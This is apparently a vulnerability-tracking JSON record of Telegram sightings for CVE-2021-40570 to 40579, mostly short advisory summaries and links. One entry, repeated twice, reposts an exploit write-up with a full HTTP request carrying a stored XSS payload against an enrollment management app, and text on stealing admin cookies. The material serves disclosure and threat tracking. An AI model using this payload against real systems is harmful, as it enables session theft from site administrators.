{"vulnerability": "CVE-2021-4057", "sightings": [{"uuid": "034e1c72-99c3-4028-8930-aa0f25de5577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40574", "type": "seen", "source": "Telegram/8Ua1uuFsS4lVaniA9Qwngl2mtnFv6wibcBJHKD_UZWfR12aH", "content": "", "creation_timestamp": "2025-03-06T02:17:24.000000Z"}, {"uuid": "34c3d3b6-5177-4509-94ed-47b02cebf875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40570", "type": "seen", "source": "https://t.me/cibsecurity/35425", "content": "\u203c CVE-2021-40570 \u203c\n\nThe binary MP4Box in Gpac 1.0.1 has a double-free vulnerability in the avc_compute_poc function in av_parsers.c, which allows attackers to cause a denial of service, even code execution and escalation of privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-13T20:18:23.000000Z"}, {"uuid": "0519a40b-ca9d-46aa-9062-2d96bc570994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40571", "type": "seen", "source": "https://t.me/cibsecurity/35431", "content": "\u203c CVE-2021-40571 \u203c\n\nThe binary MP4Box in Gpac 1.0.1 has a double-free vulnerability in the ilst_box_read function in box_code_apple.c, which allows attackers to cause a denial of service, even code execution and escalation of privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-13T20:18:29.000000Z"}, {"uuid": "be8cd615-ffdb-49a8-be1f-bdc25f12d72a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40578", "type": "seen", "source": "https://t.me/cibsecurity/33534", "content": "\u203c CVE-2021-40578 \u203c\n\nAuthenticated Blind & Error-based SQL injection vulnerability was discovered in Online Enrollment Management System in PHP and PayPal Free Source Code 1.0, that allows attackers to obtain sensitive information and execute arbitrary SQL commands via IDNO parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-08T00:23:13.000000Z"}, {"uuid": "dad4c354-2776-4385-9c39-c92fc741394e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/cibsecurity/32001", "content": "\u203c CVE-2021-40577 \u203c\n\nA Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Online Enrollment Management System in PHP and PayPal Free Source Code 1.0 in the Add-Users page via the Name parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-08T20:29:33.000000Z"}, {"uuid": "66fc639c-6631-4979-ab98-218d5504acfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/hacking_Attack/33305", "content": "Exploit Collector\nOnline Enrollment Management System In PHP And PayPal 1.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nOnline Enrollment Management System in PHP and PayPal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | ff524c4791aa81b60bb626960fd08822\n\nDownload\n# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting\n# Date: 2021-08-31\n# Exploit Author: Tushar Jadhav\n# Vendor Homepage:  https://www.sourcecodester.com/\n# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html\n# Version: 1.0\n# Tested on: Windows 11\n# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/\n# CVE: CVE-2021-40577\n\n=============================================================================================================================\n\nStored Cross-site scripting(XSS):\n\nStored attacks are those where the injected script is permanently stored on\nthe target servers,\nsuch as in a database, in a message forum, visitor log, comment field, etc.\nThe victim then retrieves the malicious script from the server when it\nrequests the stored information.\nStored XSS is also sometimes referred to as Persistent XSS.\n\n==============================================================================================================================\n\nAttack vector:\n\nThis vulnerability can result in the attacker can injecting the XSS payload\nin the User Registration section. Each time the admin login or basic user\nLogin in the admin panel, the XSS triggers and attacker can able to steal\nthe cookie according to the crafted payload.\n\n===============================================================================================================================\n\nVulnerable Parameters: Name\n\n===============================================================================================================================\n\nSteps for reproducing:\n\n1. Go to add users section\n2. fill in the details. & put \npayload in Name parameter.\n3. Once we click on save, We can see the XSS has been triggered.\n\n================================================================================================================================\n\nRequest :\n\nPOST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1\nHost: 192.168.1.205:81\nContent-Length: 133\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.1.205:81\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer:\nhttp://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nCookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3\nConnection: close\n\ndeptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=\n\n===================================================================================================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:08.261413Z"}, {"uuid": "375e1760-b14a-40fe-bcfa-51fa8be036d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40579", "type": "seen", "source": "https://t.me/hacking_Attack/36392", "content": "CVE-2021\u201340579\nhttps://medium.com/@VAPT01/cve-2021-40579-9eac3409fd24?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:02:01.487513Z"}, {"uuid": "03066b88-5eaf-4661-a8c9-12bd3a40d419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40579", "type": "seen", "source": "https://t.me/hacking_Attack/36394", "content": "Insecure direct object references (IDOR)Continue reading on Medium \u00bb (https://medium.com/@VAPT01/cve-2021-40579-9eac3409fd24?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:02:01.533761Z"}, {"uuid": "8d9b35c2-47cc-4070-92d1-77305f85f531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40578", "type": "seen", "source": "https://t.me/hacking_Attack/31102", "content": "CVE-2021\u201340578.\nhttps://medium.com/@J03KR/cve-2021-40578-127ceaf3f1bb?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:02:09.800457Z"}, {"uuid": "c3f64e93-2244-408a-8ccb-63527865f321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40578", "type": "seen", "source": "https://t.me/hacking_Attack/31104", "content": "Authenticated Blind & Error based SQL injection Lead To RCE.Continue reading on Medium \u00bb (https://medium.com/@J03KR/cve-2021-40578-127ceaf3f1bb?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:02:09.843141Z"}, {"uuid": "2945232b-a4c3-4f4f-9ce9-842af0dce026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/hacking_Attack/30306", "content": "CVE-2021\u201340577\nhttps://medium.com/@J03KR/cve-2021-40577-ec96a831ba71?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:10.665265Z"}, {"uuid": "e2f08c80-bdf0-4a55-8ecc-05be3fe2ddbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/hacking_Attack/30308", "content": "Stored Cross-Site Scripting.Continue reading on Medium \u00bb (https://medium.com/@J03KR/cve-2021-40577-ec96a831ba71?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:10.700490Z"}, {"uuid": "efee5be0-4c7f-4c03-b980-97f3f4b071e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40579", "type": "seen", "source": "https://t.me/hacking_Attack/36394", "content": "Insecure direct object references (IDOR)Continue reading on Medium \u00bb (https://medium.com/@VAPT01/cve-2021-40579-9eac3409fd24?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:02:23.705238Z"}, {"uuid": "2f2d267e-a864-4ec5-a40e-3b00f2ec0cd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/hacking_Attack/33305", "content": "Exploit Collector\nOnline Enrollment Management System In PHP And PayPal 1.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nOnline Enrollment Management System in PHP and PayPal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | ff524c4791aa81b60bb626960fd08822\n\nDownload\n# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting\n# Date: 2021-08-31\n# Exploit Author: Tushar Jadhav\n# Vendor Homepage:  https://www.sourcecodester.com/\n# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html\n# Version: 1.0\n# Tested on: Windows 11\n# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/\n# CVE: CVE-2021-40577\n\n=============================================================================================================================\n\nStored Cross-site scripting(XSS):\n\nStored attacks are those where the injected script is permanently stored on\nthe target servers,\nsuch as in a database, in a message forum, visitor log, comment field, etc.\nThe victim then retrieves the malicious script from the server when it\nrequests the stored information.\nStored XSS is also sometimes referred to as Persistent XSS.\n\n==============================================================================================================================\n\nAttack vector:\n\nThis vulnerability can result in the attacker can injecting the XSS payload\nin the User Registration section. Each time the admin login or basic user\nLogin in the admin panel, the XSS triggers and attacker can able to steal\nthe cookie according to the crafted payload.\n\n===============================================================================================================================\n\nVulnerable Parameters: Name\n\n===============================================================================================================================\n\nSteps for reproducing:\n\n1. Go to add users section\n2. fill in the details. & put \npayload in Name parameter.\n3. Once we click on save, We can see the XSS has been triggered.\n\n================================================================================================================================\n\nRequest :\n\nPOST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1\nHost: 192.168.1.205:81\nContent-Length: 133\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://192.168.1.205:81\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer:\nhttp://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nCookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3\nConnection: close\n\ndeptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=\n\n===================================================================================================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:33.672212Z"}, {"uuid": "c3ac8746-da45-41b4-a4d5-f5df7d88ebea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40579", "type": "seen", "source": "https://t.me/hacking_Attack/36392", "content": "CVE-2021\u201340579\nhttps://medium.com/@VAPT01/cve-2021-40579-9eac3409fd24?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:02:23.621093Z"}, {"uuid": "6db4702c-6fe3-4eee-b924-9a2eb8f768a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40578", "type": "seen", "source": "https://t.me/hacking_Attack/31102", "content": "CVE-2021\u201340578.\nhttps://medium.com/@J03KR/cve-2021-40578-127ceaf3f1bb?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:02:36.056899Z"}, {"uuid": "7b2d5218-8ef0-4a2c-8066-33108b3dd5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40578", "type": "seen", "source": "https://t.me/hacking_Attack/31104", "content": "Authenticated Blind & Error based SQL injection Lead To RCE.Continue reading on Medium \u00bb (https://medium.com/@J03KR/cve-2021-40578-127ceaf3f1bb?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:02:36.108649Z"}, {"uuid": "eea2ba4d-b04f-4e0e-848e-f7602392e6c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/hacking_Attack/30306", "content": "CVE-2021\u201340577\nhttps://medium.com/@J03KR/cve-2021-40577-ec96a831ba71?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:36.924892Z"}, {"uuid": "9cf90f37-24c6-49a1-beab-30196adf7e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40577", "type": "seen", "source": "https://t.me/hacking_Attack/30308", "content": "Stored Cross-Site Scripting.Continue reading on Medium \u00bb (https://medium.com/@J03KR/cve-2021-40577-ec96a831ba71?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:36.966990Z"}]}